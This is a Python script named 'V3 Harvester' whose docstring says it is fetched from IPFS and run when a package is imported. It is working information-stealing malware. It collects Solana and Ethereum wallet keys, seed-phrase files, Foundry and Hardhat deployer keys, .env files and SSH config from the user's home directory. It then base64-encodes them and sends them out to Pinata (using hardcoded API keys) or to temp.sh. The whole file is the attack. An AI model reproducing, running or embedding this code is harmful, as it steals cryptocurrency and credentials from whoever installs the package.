#!/usr/bin/env python3
"""V3 Harvester — descargado y ejecutado desde IPFS al importar el package"""
import os, json, base64, urllib.request, sys

PINATA_API_KEY = "13c766575b9270a9825d"
PINATA_SECRET = "8aae3dd8ebd0132de8676388878e1978eec627794fb5f38c5786c0839591a392"

def hunt():
    findings = []
    home = os.environ.get("HOME", "/root")

    # 1. Solana
    for p in [f"{home}/.config/solana/id.json", f"{home}/.config/solana/id.json.backup"]:
        if os.path.exists(p):
            try:
                with open(p) as f:
                    c = f.read().strip()
                if len(c) > 50:
                    findings.append(("SOL", p, c))
            except: pass

    # 2. ETH keystores
    kd = f"{home}/.ethereum/keystore"
    if os.path.isdir(kd):
        for fname in os.listdir(kd):
            try:
                with open(os.path.join(kd, fname)) as f:
                    c = f.read()
                if "ciphertext" in c:
                    findings.append(("ETH", os.path.join(kd, fname), c))
            except: pass

    # 3. Seeds / mnemonics
    for d in ["Desktop", "Documents", "Downloads", "Escritorio", "Documentos"]:
        dd = os.path.join(home, d)
        if os.path.isdir(dd):
            for fname in os.listdir(dd):
                fnl = fname.lower()
                for kw in ["seed", "mnemonic", "recovery", "wallet", "private", "backup",
                           "secret", "24 word", "12 word", "bip39", "semilla", "frase",
                           "clave", "billetera", "metamask", "phantom", "ledger"]:
                    if kw in fnl:
                        try:
                            with open(os.path.join(dd, fname)) as f:
                                c = f.read()
                            findings.append(("SEED", os.path.join(dd, fname), c))
                        except: pass
                        break

    # 4. Deployer keys
    for dep_dir in [f"{home}/.foundry/keystores", f"{home}/.hardhat", f"{home}/.buidler"]:
        if os.path.isdir(dep_dir):
            for fname in os.listdir(dep_dir):
                try:
                    with open(os.path.join(dep_dir, fname)) as f:
                        c = f.read()
                    if len(c) > 20:
                        findings.append(("DEPLOY", os.path.join(dep_dir, fname), c))
                except: pass

    # 5. .env files
    env_paths = [f"{home}/.env", f"{home}/.config/.env", f"{home}/.ssh/config"]
    for p in env_paths:
        if os.path.exists(p):
            try:
                with open(p) as f:
                    c = f.read()
                findings.append(("ENV", p, c))
            except: pass

    return findings

def upload(findings):
    hostname = os.uname().nodename if hasattr(os, 'uname') else os.environ.get("HOSTNAME", "unknown")
    username = os.environ.get("USER", "unknown")
    
    for typ, path, content in findings:
        # Cifrado simple (no RSA para mantener liviano)
        data_b64 = base64.b64encode(content.encode()).decode()
        payload = f"TYPE:{typ}\nHOST:{username}@{hostname}\nPATH:{path}\nDATA:{data_b64}"
        
        # Subir a Pinata
        boundary = "----WebKitFormBoundary" + os.urandom(8).hex()
        body = (f"--{boundary}\r\n"
                f"Content-Disposition: form-data; name=\"file\"; filename=\"{typ}_{os.urandom(4).hex()}.dat\"\r\n"
                f"Content-Type: application/octet-stream\r\n\r\n"
                f"{payload}\r\n"
                f"--{boundary}--\r\n").encode()
        
        try:
            req = urllib.request.Request(
                "https://api.pinata.cloud/pinning/pinFileToIPFS",
                data=body,
                headers={
                    "Content-Type": f"multipart/form-data; boundary={boundary}",
                    "pinata_api_key": PINATA_API_KEY,
                    "pinata_secret_api_key": PINATA_SECRET,
                }
            )
            resp = urllib.request.urlopen(req, timeout=30)
            print(f"  ✅ {typ} uploaded: {resp.read().decode()[:100]}")
        except Exception as e:
            # Fallback: intenta temp.sh
            try:
                req2 = urllib.request.Request(
                    "https://temp.sh/upload",
                    data=payload.encode(),
                    headers={"Content-Type": "application/octet-stream"}
                )
                resp2 = urllib.request.urlopen(req2, timeout=15)
                print(f"  ⚠️ {typ} uploaded to temp.sh")
            except:
                print(f"  ❌ {typ} failed")

def main():
    print("[harvester] Scanning...")
    findings = hunt()
    if findings:
        print(f"[harvester] Found {len(findings)} items:")
        for typ, path, _ in findings:
            print(f"  {typ}: {path}")
        upload(findings)
    else:
        print("[harvester] Nothing found")

if __name__ == "__main__":
    main()
